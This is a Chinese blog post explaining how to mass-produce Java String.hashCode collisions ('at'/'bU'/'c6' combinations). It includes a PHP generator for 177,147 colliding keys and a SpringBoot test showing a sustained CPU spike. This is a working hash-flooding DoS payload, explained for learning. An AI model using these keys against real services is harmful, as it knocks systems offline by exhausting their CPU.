458
Java Hash Collision之數據生產
上一篇文章一種高級的DoS攻擊-Hash碰撞攻擊我通過偽造Hash Collision數據實現了對Java的DoS攻擊，下麵說說如何生產大量的攻擊數據。
HashTable是一種非常常用的數據結構。它存取速度快，結構簡單，深得程序員喜愛。HashTable大致數據結構如下圖：
Hash Function也叫哈希散列函數，通過散列函數我們能將各種類型的key轉換為有限空間內的一個內存地址。常見的散列函數有MD5，SHA*。不過HashTable中基本不會用MD5，SHA*算法,因為這兩類算法太耗時，基本所有的編程語言都會選擇Times*類型算法，比如Times31,times33,times37。Java使用的Hash算法為Times31，PHP使用的Hash算法為times33……
如果正常的使用HashTable，HashTable會是一種完美的數據結構。不過總有一些時候HashTable會被不正常使用，例如被攻擊。假設"layne","abbc"這兩個key通過散列算法得到的內存地址一樣，我們的程序就不知道到底要獲取哪一個key的參數。針對這種情況我們引入了Bucket（一個鏈表結構）的概念，當遇到這種情況時，程序會將同一個內存地址對應的多個數據存入同一個Bucket鏈表，這樣能解決數據獲取不到的問題，但是會帶來額外的運算。當數十萬甚至百萬的數據都打到同一個Bucket，對HashTable的影響是致命的，運算量將急劇增加，分分鍾將CPU耗盡。
通過研究各種語言底層的HashTable散列算法就能生產對應的攻擊數據，這種攻擊很難防禦。不過在我們知道攻擊原理之後，還是能很好應對。
一. Java HashCode函數實現
通過Google，我們很輕鬆的就搜索到了Java HashTable實現的散列算法，在Java中有個叫HashCode()的方法，我們可以這樣使用。
System.out.println("it2048.cn".hashCode());
HashCode()函數底層就是使用times31算法，至於為什麼選擇times31，官方說法是 『 31 * i == (i << 5) - i 』，運算起來更快。源代碼如下：
/**
* Returns a hash code for this string. The hash code for a
* <code>String</code> object is computed as
* <blockquote><pre>
* s[0]*31^(n-1) + s[1]*31^(n-2) + ... + s[n-1]
* </pre></blockquote>
* using <code>int</code> arithmetic, where <code>s[i]</code> is the
* <i>i</i>th character of the string, <code>n</code> is the length of
* the string, and <code>^</code> indicates exponentiation.
* (The hash value of the empty string is zero.)
*
* @return a hash code value for this object.
*/
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;
for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}
核心的計算的公式如下：
s[0]*31^(n-1) + s[1]*31^(n-2) + ... + s[n-1]
通過推導計算，得到的計算公式如下：
F(n) = 31*F(n-1) + str[i]
使用PHP實現如下（這裏隻為加強說明哈希散列算法底層都是很簡單的公式）：
function hashCode($str) {
$h = 0;
$len = strlen($str);
$t = 2147483648; //java int的最大值
for ($i = 0; $i < $len; $i++) {
$h = (($h << 5) - $h) + ord($str[$i]);
if($h > $t) $h %= $t; //溢出取模
}
return $h;
}
二. 通過Java HashCode函數實現逆推
通過如下公式
F(n) = 31*F(n-1) + str[i]
我們可以進一步推導出如下方程式：
31*x + y = 31*(x+1) + y-31 = 31*(x+2) + y-62
我們很容易找到滿足條件的3組ASCII字符，分別是：
at = 97*31 + 116 = 3123
bU = 98*31 + 85 = 3123
c6 = 99*31 + 54 = 3123
通過如上數據，理論上我們可以構造任何偶數位的字符串，比如：
- atatatatatatatat (16位)
- c6atatatatatatbU (16位)
- atatatatatatbUat (16位)
- c6c6c6c6c6c6bUat (16位)
如上16位字符串得到的hashCode都是一樣，理論上我們可以得到 pow(3,16/2) = 6561 個字符串；22位長度的字符串可以得到pow(3,22/2) = 177147 個字符串，用來發起簡單的攻擊完全足夠。接下來我們封裝一個簡單的函數來生成 177147 個攻擊字符串；
三. 通過腳本批量產出碰撞數據
如上我們已經推算出碰撞數據的實現方程式，接下來我通過PHP快速的生成碰撞數據。這裏最好不要使用Java來生成碰撞數據，因為操作不當就會變成攻擊自己的腳本。
$arr_src = ['at','bU','c6'];
$str_tmp = ''; //存儲臨時字符串
$arr_rtn = [];
$t = combs(11,$arr_src,$str_tmp,$arr_rtn);
/**
* 組合算法
**/
function combs($n,$arr,$str,&$arr_rtn) {
if($n==1){
for($j=0;$j<3;$j++){
$arr_rtn[$str.$arr[$j]] = 0;
}
}else
{
for($j=0;$j<3;$j++){
combs($n-1,$arr,$str.$arr[$j],$arr_rtn);
}
}
}
$json = json_encode($arr_rtn);
file_put_contents('log/times31.txt',$json);
最後我們生成了如下數據(截取了前麵幾條)：
{
"atatatatatatatatatatat":0,
"atatatatatatatatatatbU":0,
"atatatatatatatatatatc6":0,
"atatatatatatatatatbUat":0,
"atatatatatatatatatbUbU":0,
"atatatatatatatatatbUc6":0,
"atatatatatatatatatc6at":0,
"atatatatatatatatatc6bU":0,
"atatatatatatatatatc6c6":0,
"atatatatatatatatbUatat":0,
"atatatatatatatatbUatbU":0,
"atatatatatatatatbUatc6":0,
"atatatatatatatatbUbUat":0,
"atatatatatatatatbUbUbU":0,
"atatatatatatatatbUbUc6":0,
"atatatatatatatatbUc6at":0
}
四. 在Java中測試碰撞數據
通過程序我們生成了177147條碰撞數據，然後在SpringBoot中做個簡單的測試，測試代碼如下：
public class IndexController {
@RequestMapping(value="/",method = RequestMethod.GET)
public String index(){
String jsonStr = "";
try
{
FileReader fr = new FileReader("times31.txt");//需要讀取的文件路徑
BufferedReader br = new BufferedReader(fr);
jsonStr = br.readLine();
br.close();//關閉BufferReader流
fr.close(); //關閉文件流
}catch(IOException e)//捕捉異常
{
System.out.println("指定文件不存在");//處理異常
}
Map<String, Object> map = new HashMap<String, Object>();
map = JSONObject.fromObject(jsonStr);
return "Hash Collision ~";
}
}
測試結果，一個CPU被打到100%，持續了20多分鍾。Mac Pro馬上發燙，風扇開啟。結束該java進程後電腦恢複。
上一篇文章鏈接地址：一種高級的DoS攻擊-Hash碰撞攻擊
未完待續……
我的博客-原文鏈接：Java Hash Collision之數據生產
最後更新：2017-06-03 21:31:28